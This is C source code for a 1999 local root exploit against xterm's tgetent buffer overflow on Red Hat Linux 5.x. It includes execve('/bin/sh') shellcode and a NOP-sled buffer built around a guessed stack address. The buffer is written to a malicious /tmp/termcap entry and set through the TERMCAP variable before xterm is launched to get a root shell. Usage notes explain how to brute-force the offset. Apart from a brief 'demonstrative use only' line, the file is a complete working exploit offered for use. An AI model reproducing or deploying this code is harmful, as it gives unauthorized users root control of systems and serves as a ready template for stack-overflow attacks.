/*
	xterm exploit code for x86 linux
	tgetent function buffer overflow

	Local user can gain root access.

	Tested redhat linux : 5.0, 5.1
	Tested termcap : 9.12.6

	Usage
	$ xterm-ex 0
	           |
	           +------ try from -2000 to 2000 ( try in steps of 500 )

	This program is only for demonstrative use only.
	USE IT AT YOUR OWN RISK!

	Programmed by Taeho Oh 1999/08/31


Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

*/

#include<stdio.h>
#include<stdlib.h>

#define OFFSET                        -2000
#define RET_POSITION                   3160
#define RANGE                            20
#define NOP                            0x90

char shellcode[1024]=
	"\xeb\x1f"                      /* jmp 0x1f             */
	"\x5e"                          /* popl %esi            */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)  */
	"\x31\xc0"                      /* xorl %eax,%eax       */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)  */
	"\xb0\x0b"                      /* movb $0xb,%al        */
	"\x89\xf3"                      /* movl %esi,%ebx       */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx  */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx  */
	"\xcd\x80"                      /* int $0x80            */
	"\x31\xdb"                      /* xorl %ebx,%ebx       */
	"\x89\xd8"                      /* movl %ebx,%eax       */
	"\x40"                          /* inc %eax             */
	"\xcd\x80"                      /* int $0x80            */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24           */
	"/bin/sh";                      /* .string \"/bin/sh\"  */


unsigned long get_esp(void)
{
	__asm__("movl %esp,%eax");
}


int main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+1],*ptr;
	long *addr_ptr,addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
	int i;
	FILE *file;

	printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
	printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");

	if(argc>1)
		offset+=atoi(argv[1]);

	sp=get_esp();
	addr=sp-offset;

	ptr=buff;
	addr_ptr=(long*)ptr;
	for(i=0;i<bsize;i+=4)
		*(addr_ptr++)=addr;

	for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';
	buff[bsize-2]='A';
	buff[bsize-3]='\\';
	buff[bsize-4]=':';

	buff[0]='x';
	buff[1]='t';
	buff[2]='e';
	buff[3]='r';
	buff[4]='m';
	buff[5]='|';

	file=fopen("/tmp/termcap","w");
	fwrite(buff,sizeof(char),bsize,file);
	fclose(file);

	putenv("TERMCAP=/tmp/termcap");

	printf("Jump to 0x%08x\n",addr);
	execl("/usr/X11R6/bin/xterm",0);
}